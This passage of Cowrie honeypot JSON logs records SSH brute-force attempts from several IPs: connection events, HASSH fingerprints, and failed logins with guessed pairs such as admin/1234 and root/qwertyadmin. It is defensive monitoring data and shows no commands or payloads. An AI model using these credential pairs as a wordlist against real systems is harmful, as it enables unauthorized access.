af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:02.058272Z","src_ip":"68.183.236.1","session":"b76b136fa7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webdev","password":"webdev123","message":"login attempt [webdev/webdev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:03.078946Z","src_ip":"68.183.236.1","session":"b76b136fa7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:04.584665Z","src_ip":"68.183.236.1","session":"b76b136fa7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60854,"dst_ip":"159.203.135.109","dst_port":22,"session":"061581dde72b","protocol":"ssh","message":"New connection: 159.203.92.129:60854 (159.203.135.109:22) [session: 061581dde72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:08.088725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:08.095599Z","src_ip":"159.203.92.129","session":"061581dde72b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:08.102488Z","src_ip":"159.203.92.129","session":"061581dde72b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123.com","message":"login attempt [admin/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:08.125912Z","src_ip":"159.203.92.129","session":"061581dde72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:09.133929Z","src_ip":"159.203.92.129","session":"061581dde72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.188776969909668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:12.732372Z","src_ip":"176.65.139.45","session":"0d88416dcdbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40852,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6276ecc27cf","protocol":"ssh","message":"New connection: 159.203.92.129:40852 (159.203.135.109:22) [session: e6276ecc27cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:51.596086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:51.601491Z","src_ip":"159.203.92.129","session":"e6276ecc27cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:51.607077Z","src_ip":"159.203.92.129","session":"e6276ecc27cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:51.621195Z","src_ip":"159.203.92.129","session":"e6276ecc27cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:52.627123Z","src_ip":"159.203.92.129","session":"e6276ecc27cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":39232,"dst_ip":"10.17.0.5","dst_port":22,"session":"f21de187ab7e","protocol":"ssh","message":"New connection: 68.183.236.1:39232 (10.17.0.5:22) [session: f21de187ab7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:56.470318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:56.475480Z","src_ip":"68.183.236.1","session":"f21de187ab7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:56.715167Z","src_ip":"68.183.236.1","session":"f21de187ab7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin","message":"login attempt [itadmin/itadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:57.699244Z","src_ip":"68.183.236.1","session":"f21de187ab7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:55:58.940335Z","src_ip":"68.183.236.1","session":"f21de187ab7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":60394,"dst_ip":"10.17.0.5","dst_port":22,"session":"f34cb28b441e","protocol":"ssh","message":"New connection: 165.154.5.148:60394 (10.17.0.5:22) [session: f34cb28b441e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:04.451859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:05.222778Z","src_ip":"165.154.5.148","session":"f34cb28b441e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:05.440021Z","src_ip":"165.154.5.148","session":"f34cb28b441e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cl@123456","message":"login attempt [root/cl@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:06.353246Z","src_ip":"165.154.5.148","session":"f34cb28b441e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:07.576491Z","src_ip":"165.154.5.148","session":"f34cb28b441e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51166,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5dd640a5157","protocol":"ssh","message":"New connection: 159.203.92.129:51166 (159.203.135.109:22) [session: b5dd640a5157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:36.016495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:36.021458Z","src_ip":"159.203.92.129","session":"b5dd640a5157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:36.026153Z","src_ip":"159.203.92.129","session":"b5dd640a5157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123321","message":"login attempt [admin/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:36.040868Z","src_ip":"159.203.92.129","session":"b5dd640a5157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:37.055213Z","src_ip":"159.203.92.129","session":"b5dd640a5157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":45354,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffb0d4cd2813","protocol":"ssh","message":"New connection: 68.183.236.1:45354 (10.17.0.5:22) [session: ffb0d4cd2813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:53.106388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:53.110803Z","src_ip":"68.183.236.1","session":"ffb0d4cd2813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:53.356830Z","src_ip":"68.183.236.1","session":"ffb0d4cd2813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyadmin","message":"login attempt [root/qwertyadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:54.372696Z","src_ip":"68.183.236.1","session":"ffb0d4cd2813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:56:55.621948Z","src_ip":"68.183.236.1","session":"ffb0d4cd2813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50544,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a404f57df81","protocol":"ssh","message":"New connection: 159.203.92.129:50544 (159.203.135.109:22) [session: 5a404f57df81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:18.186175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:18.191067Z","src_ip":"159.203.92.129","session":"5a404f57df81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:18.195740Z","src_ip":"159.203.92.129","session":"5a404f57df81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:18.213337Z","src_ip":"159.203.92.129","session":"5a404f57df81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:19.223587Z","src_ip":"159.203.92.129","session":"5a404f57df81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":39230,"dst_ip":"10.17.0.5","dst_port":22,"session":"90e14e57b667","protocol":"ssh","message":"New connection: 68.183.236.1:39230 (10.17.0.5:22) [session: 90e14e57b667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:50.615729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:50.620468Z","src_ip":"68.183.236.1","session":"90e14e57b667","protocol":"ssh"}
